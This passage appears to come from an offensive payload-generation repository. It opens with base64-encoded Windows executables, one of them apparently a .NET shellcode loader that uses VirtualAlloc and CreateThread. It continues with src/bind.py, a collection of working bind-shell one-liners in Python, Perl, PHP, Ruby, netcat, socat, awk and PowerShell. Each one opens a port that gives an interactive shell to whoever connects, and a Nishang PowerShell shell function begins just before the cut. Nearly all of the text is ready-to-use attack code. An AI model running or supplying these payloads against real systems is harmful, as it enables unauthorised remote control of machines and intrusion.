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""" 70 | 71 | WINDOWS_SHARPCODE = """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UQMQAEEAUQMQAEkAUQMQAFEAUQMQAFkAUQMQAGEAUQMVAGkAUQMQAHEAUQMQAHkAUQMQAIkAUQMaAJEAUQMGAKkAuAAlAJkAUQMGALEAvAI5ALkAUQMQALEAcwQ9AKEAUQMBAMEAswJCAMkACgBGAKEAcABMAJkAswJCANkAiQRfAOkAUwRxAPEAjgR2AOkAJgN/ACcAgwBEAi4ACwBnAS4AEwBwAS4AGwCPAS4AIwCYAS4AKwCnAS4AMwCnAS4AOwCnAS4AQwCYAS4ASwCtAS4AUwCnAS4AWwCnAS4AYwDFAS4AawDvAS4AcwD8AQgABgCLACAAKgBSAGoAAQAAAQ0ASwABAAABDwBjAAEAAAERAJUAAQAAARMANQQBAASAAAABAAAAAAAAAAAAAAAAAHcAAAAEAAAAAAAAAAAAAACCAD0AAAAAAAAAAAAAa2VybmVsMzIAVG9JbnQzMgA8TW9kdWxlPgBQQUdFX0VYRUNVVEVfUkVBRFdSSVRFAE1FTV9DT01NSVQAbXNjb3JsaWIARXhlYwBWaXJ0dWFsQWxsb2MAbHBUaHJlYWRJZABDcmVhdGVUaHJlYWQAQXBwZW5kAFNoYXJwQ29kZQBTaGVsbGNvZGUAc2hlbGxjb2RlAENsb3NlSGFuZGxlAGhIYW5kbGUAaGFuZGxlAENvbnNvbGUAV3JpdGVMaW5lAGZsQWxsb2NhdGlvblR5cGUAR3VpZEF0dHJpYnV0ZQBVbnZlcmlmaWFibGVDb2RlQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJhZGVtYXJrQXR0cmlidXRlAFRhcmdldEZyYW1ld29ya0F0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmlidXRlAFNlY3VyaXR5UGVybWlzc2lvbkF0dHJpYnV0ZQBBc3NlbWJseUNvbmZpZ3VyYXRpb25BdHRyaWJ1dGUAQXNzZW1ibHlEZXNjcmlwdGlvbkF0dHJpYnV0ZQBDb21waWxhdGlvblJlbGF4YXRpb25zQXR0cmlidXRlAEFzc2VtYmx5UHJvZHVjdEF0dHJpYnV0ZQBBc3NlbWJseUNvcHlyaWdodEF0dHJpYnV0ZQBBc3NlbWJseUNvbXBhbnlBdHRyaWJ1dGUAUnVudGltZUNvbXBhdGliaWxpdHlBdHRyaWJ1dGUAQnl0ZQBTaGFycENvZGUuZXhlAGR3U3RhY2tTaXplAHNpemUAYXJnYnVmAFN5c3RlbS5SdW50aW1lLlZlcnNpb25pbmcAVG9TdHJpbmcAZ2V0X0xlbmd0aABNYXJzaGFsAHBhcmFtAFByb2dyYW0AU3lzdGVtAE1haW4AU2VjdXJpdHlBY3Rpb24AU3lzdGVtLlJlZmxlY3Rpb24AQXJndW1lbnRPdXRPZlJhbmdlRXhjZXB0aW9uAFplcm8AQ2hhcgBscFN0YXJ0QWRkcgBTdHJpbmdCdWlsZGVyAEJ1ZmZlcgAuY3RvcgAuY2N0b3IASW50UHRyAHN0cgBTeXN0ZW0uRGlhZ25vc3RpY3MAZHdNaWxsaXNlY29uZHMAU3lzdGVtLlJ1bnRpbWUuSW50ZXJvcFNlcnZpY2VzAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMARGVidWdnaW5nTW9kZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAEdldEJ5dGVzAGR3Q3JlYXRpb25GbGFncwBhcmdzAFN5c3RlbS5TZWN1cml0eS5QZXJtaXNzaW9ucwBscFN0YXJ0QWRkcmVzcwBXYWl0Rm9yU2luZ2xlT2JqZWN0AGZsUHJvdGVjdABvcF9FeHBsaWNpdABDb252ZXJ0AFN5c3RlbS5UZXh0AFRvQ2hhckFycmF5AFVuaGV4bGlmeQBCbG9ja0NvcHkAU3lzdGVtLlNlY3VyaXR5AAAAK04AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuAAAjTwBkAGQALQBsAGUAbgBnAHQAaAAgAHMAdAByAGkAbgBnAAE3TgBvAG4ALQBoAGUAeABhAGQAZQBjAGkAbQBhAGwAIABkAGkAZwBpAHQAIABmAG8AdQBuAGQAAQAAAMJsMyb6AcNNlYorob3O05AABCABAQgDIAABBSABARERBCABAQ4EIAEBAgUgAQERQQQHAgIIBAABAQ4OBwoIHQMSUQIICAgCAg4DIAAIBCAAHQMDIAAOBQACCA4IBSABElEDDAcHHQUdBQgIAgIdBQoABQEScQgScQgIBgcECRgJGAQAARgKCAAEAR0F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""" -------------------------------------------------------------------------------- /src/bind.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python 2 | 3 | # Bind TCP shells 4 | 5 | def BIND_PYTHON_TCP(): 6 | return """python -c "import socket,subprocess,os;VAR1=socket.socket(socket.AF_INET,socket.SOCK_STREAM);VAR1.bind(('',PORT));VAR1.listen(1);conn,addr=VAR1.accept();os.dup2(conn.fileno(),0);os.dup2(conn.fileno(),1);os.dup2(conn.fileno(),2);VAR2=subprocess.call(['/bin/bash','-i'])" """ 7 | 8 | 9 | def BIND_PYTHON_UDP(): 10 | return """python -c 'while NUM1: from subprocess import Popen,PIPE;from socket import socket,AF_INET,SOCK_DGRAM;VAR1=socket(AF_INET,SOCK_DGRAM);VAR1.bind(("0.0.0.0",PORT));VAR2,VAR3=VAR1.recvfrom(8096);VAR4=Popen(VAR2,shell=True,stdout=PIPE,stderr=PIPE).communicate();VAR1.sendto("".join([VAR4[0],VAR4[1]]),VAR3)'""" 11 | 12 | 13 | def BIND_PERL_TCP(): 14 | return """perl -MSocket -e '$VAR1=PORT;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));bind(S,sockaddr_in($VAR1, INADDR_ANY));listen(S,SOMAXCONN);for(;$VAR1=accept(C,S);close C){open(STDIN,">&C");open(STDOUT,">&C");open(STDERR,">&C");exec("/bin/bash -i");};'""" 15 | 16 | 17 | def BIND_PERL_UDP(): 18 | return """perl -MIO::Socket::INET -e '$|=1;$VAR1=new IO::Socket::INET->new();$VAR1 = new IO::Socket::INET(LocalPort => PORT,Proto => "udp");while(NUM1){ $VAR1->recv($VAR2,1024);$VAR3=$VAR1->peerhost();$VAR4=$VAR1->peerport();$VAR5=qx($VAR2);$VAR1->send($VAR5);}'""" 19 | 20 | 21 | def BIND_PHP_TCP(): 22 | return """php -r '$VAR1=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);socket_bind($VAR1,"0.0.0.0",PORT);socket_listen($VAR1,1);$VAR2=socket_accept($VAR1);while(NUM1){if(!socket_write($VAR2,"$ ",2))exit;$VAR3=socket_read($VAR2,100);$VAR4=popen("$VAR3","r");while(!feof($VAR4)){$VAR5=fgetc($VAR4);socket_write($VAR2,$VAR5,strlen($VAR5));}}'""" 23 | 24 | 25 | def BIND_PHP_UDP(): 26 | return """php -r '$VAR1=socket_create(AF_INET,SOCK_DGRAM, 0);socket_bind($VAR1,"0.0.0.0",PORT);while(NUM1){socket_recvfrom($VAR1,$VAR2,1024,0,$VAR3,$VAR4);$VAR5=shell_exec($VAR2);socket_sendto($VAR1,$VAR5,1024,0,$VAR3,$VAR4);}'""" 27 | 28 | 29 | def BIND_RUBY_TCP(): 30 | return """ruby -rsocket -e 'VAR1=TCPServer.new(PORT);VAR2=VAR1.accept;VAR1.close();$stdin.reopen(VAR2);$stdout.reopen(VAR2);$stderr.reopen(VAR2);$stdin.each_line{|VAR3|VAR3=VAR3.strip;next if VAR3.length==0;(IO.popen(VAR3,"rb"){|VAR4|VAR4.each_line{|VAR5|c.puts(VAR5.strip)}})rescue nil}'""" 31 | 32 | 33 | def BIND_RUBY_UDP(): 34 | return """ruby -rsocket -e 'require "open3";VAR1=UDPSocket.new;VAR1.bind("0.0.0.0",PORT);loop do VAR2,VAR3=VAR1.recvfrom(1024);VAR4,VAR5,VAR6=Open3.capture3(VAR2);VAR1.send(VAR4,0,VAR3[3],VAR3[1]); end'""" 35 | 36 | 37 | def BIND_NETCAT_TCP(): 38 | return """rm /tmp/VAR1;mkfifo /tmp/VAR1;cat /tmp/VAR1|/bin/sh -i 2>&1|nc -lvp PORT >/tmp/VAR1""" 39 | 40 | 41 | def BIND_NETCAT_OPENBSD_UDP(): 42 | return """coproc nc -luvp PORT; exec /bin/bash <&0${COPROC[0]} >&${COPROC[1]} 2>&1""" 43 | 44 | 45 | def BIND_NETCAT_TRADITIONAL_TCP(): 46 | return """nc -lvp PORT -c /bin/bash""" 47 | 48 | 49 | def BIND_POWERSHELL_TCP(): 50 | return """powershell.exe -nop -ep bypass -Command "$VAR1=PORT;$VAR2=[System.Net.Sockets.TcpListener]$VAR1;$VAR2.Start();$VAR3=$VAR2.AcceptTCPClient();$VAR4=$VAR3.GetStream();[byte[]]$VAR5=0..65535|%{0};$VAR6=([text.encoding]::ASCII).GetBytes('Windows PowerShell running as user '+$env:username+' on '+$env:computername+'`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n');$VAR4.Write($VAR6,0,$VAR6.Length);$VAR6=([text.encoding]::ASCII).GetBytes('PS '+(Get-Location).Path+'> ');$VAR4.Write($VAR6,0,$VAR6.Length);while(($VAR7=$VAR4.Read($VAR5,0,$VAR5.Length)) -ne 0){$VAR8=([text.encoding]::ASCII).GetString($VAR5,0,$VAR7);try{$VAR9=(Invoke-Expression -command $VAR8 2>&1 | Out-String )}catch{Write-Warning 'Something went wrong with execution of command on the target.';Write-Error $_;};$VAR10=$VAR9+ 'PS '+(Get-Location).Path + '> ';$VAR11=($error[0] | Out-String);$error.clear();$VAR10=$VAR10+$VAR11;$VAR6=([text.encoding]::ASCII).GetBytes($VAR10);$VAR4.Write($VAR6,0,$VAR6.Length);$VAR4.Flush();};$VAR3.Close();if($VAR2){$VAR2.Stop();};" """ 51 | 52 | 53 | # Removed from MetasploitFramework 54 | # https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/cmd/unix/bind_awk.rb 55 | def BIND_AWK_TCP(): 56 | return """VAR1=PORT;awk -v VAR2="$VAR1" 'BEGIN{VAR3=\"/inet/tcp/"VAR2"/0/0\";for(;VAR3|&getline VAR4;close(VAR4))while(VAR4|getline)print|&VAR3;close(VAR3)}'""" 57 | 58 | 59 | # Removed from MetasploitFramework 60 | # https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/cmd/unix/bind_socat_udp.rb 61 | def BIND_SOCAT_UDP(): 62 | return "socat udp-listen:PORT exec:'bash -li',pty,stderr,sane 2>&1>/dev/null &" 63 | 64 | 65 | def BIND_POWERSHELL_NISHANG_TCP(): 66 | return """function Invoke-PowerShellTcp 67 | { 68 | [CmdletBinding(DefaultParameterSetName="reverse")] Param( 69 | 70 | [Parameter(Position = 0, Mandatory = $true, ParameterSetName="reverse")] 71 | [Parameter(Position = 0, Mandatory = $false, ParameterSetName="bind")] 72 | [String] 73 | 